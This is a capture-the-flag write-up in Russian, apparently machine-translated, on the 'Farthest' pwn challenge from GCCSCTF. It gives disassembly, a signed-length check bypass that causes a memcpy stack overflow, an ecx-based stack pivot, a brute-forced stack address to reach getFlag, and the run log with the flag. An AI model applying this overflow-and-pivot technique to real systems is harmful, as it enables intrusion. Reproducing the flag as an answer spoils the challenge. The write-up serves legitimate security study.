Мы создали приложение для расчета расстояния между двумя звездами, посмотрим, сможете ли вы найти что-нибудь полезное.

nc 23.21.85.112 8030

самый дальний

Мы как d4rkc0de участвовали в GCCSCTF и заняли 3-е место в квалификации. Мы с нетерпением ждем участия в финале конкурса в Дели. В GCCSCTF задача Farthest была довольно интересной. Это была единственная пешка, и разгадывать ее было чертовски сложно. Но, тем не менее, у этой пешки есть чему поучиться.

root@d4rkc0de:~# python -c "print '2,' + '\xAA' * 8 + '\xBB' * 8 + '\xcc' * 8 + '\xdd' * 8" | ./farthest
=============================================================
|| Input data should be in the format as mentioned bellow. ||
|| <num_points>,<array of 'num_points' struct points>      ||
|| num_points should be human readable.                    ||
|| Rest of the data should be binary.                      ||
=============================================================
Enter Your data : 2,����������������
Number of points 2
Farthest distance 1456815990147462891125136942359339382185244158826619267593931664968442323048246672764155341958241671875972237215762610409185128240974392406835200.000000

Таким образом, двоичный файл принимает строку формата, вводимую в «inputData [40000]» (с использованием scanf). Несмотря на то, что он использует scanf для получения ввода, вы не можете переполнить буфер, потому что он слишком большой. Затем он вызывает strtoul и преобразует первое число в беззнаковое целое. Если вы дадите ему отрицательное число со знаком, вы получите действительно огромное число.

Затем в «самой дальней» функции проверяется число n, и это снова проверка со знаком.

.text:080487F3                 cmp     dword ptr [ebx+4], 824
.text:080487FA                 jg      loc_804889E
.text:08048800                 mov     eax, [ebx+4]
.text:08048803                 shl     eax, 4
.text:08048806                 push    eax             ; n
.text:08048807                 push    dword ptr [ebx] ; src
.text:08048809                 lea     eax, [ebp+buf]
.text:0804880F                 push    eax             ; dest
.text:08048810                 call    _memcpy
.text:08048815                 add     esp, 0Ch
.text:08048818                 mov     [ebp+i], 0

Мы можем легко обойти эту проверку и вызвать переполнение буфера memcpy на ebp + buf. Итак, теперь мы можем контролировать, сколько байтов мы хотим записать и что писать. У нас уже есть функция getFlag в двоичном файле, поэтому нам просто нужно перезаписать указатель возврата на ее адрес.

.text:0804873B ; void getFlag()
.text:0804873B                 public getFlag
.text:0804873B getFlag         proc near
.text:0804873B                 push    ebp
.text:0804873C                 mov     ebp, esp
.text:0804873E                 push    offset s        ; "Your flag is as follows"
.text:08048743                 call    _puts
.text:08048748                 add     esp, 4
.text:0804874B                 push    offset command  ; "/bin/cat flag.txt"
.text:08048750                 call    _system
.text:08048755                 add     esp, 4
.text:08048758                 nop
.text:08048759                 leave
.text:0804875A                 retn
.text:0804875A getFlag         endp

У нас легкий переполнение! Верно? или я так думал.

Даже после того, как вы воспользуетесь правильным смещением с новым указателем возврата, EIP не сможет его изменить из-за эпилога «самой дальней» функции:

.text:080488BC                 lea     esp, [ebp-8]
.text:080488BF                 pop     ecx
.text:080488C0                 pop     ebx
.text:080488C1                 pop     ebp
.text:080488C2                 lea     esp, [ecx-4]
.text:080488C5                 retn

Ага! Итак, мы загружаем ecx из нашего стека переполнения и оставляем его в esp. Мы поворачиваем стек до значения ecx. Это означает, что нам нужен адрес доступного для записи места, которое мы контролируем. нам, по сути, нужен указатель на наш ввод; который находится в стеке. Затем мы можем управлять ecx и esp и направлять поток программы. Также двоичный файл запускается на socat, который не будет отображать вывод, если двоичный файл не завершится корректно, поэтому убедитесь, что у нас есть вызов выхода сразу после getFlag. У нас есть 8 байтов полезной нагрузки, которые мы можем повторить при размере памяти ›12000 байт.

С таким огромным пространством легко подобрать адрес стека.

Я случайным образом выбрал один адрес «0xffc04f34», а затем позволил ему разорваться на 100 вращений, и мы получили наш флаг.

0xffc04f34                                                                                                                                                                                                                                                              [0/1933]
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
53
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
54
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
55
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
56
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
57
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
58
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
59
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
60
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
61
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
62
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
63
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
[*] Closed connection to 23.21.85.112 port 8030
64
0xffc04f34
[+] Opening connection to 23.21.85.112 on port 8030: Done
0xffc04f34
4290793268
[*] Switching to interactive mode
gccs{aUiuC7R1MXdOnLdzxJYp6hHqAHfQxeM0}
$

Вот наш флаг. Наслаждаться! Спасибо, GCCSCTF!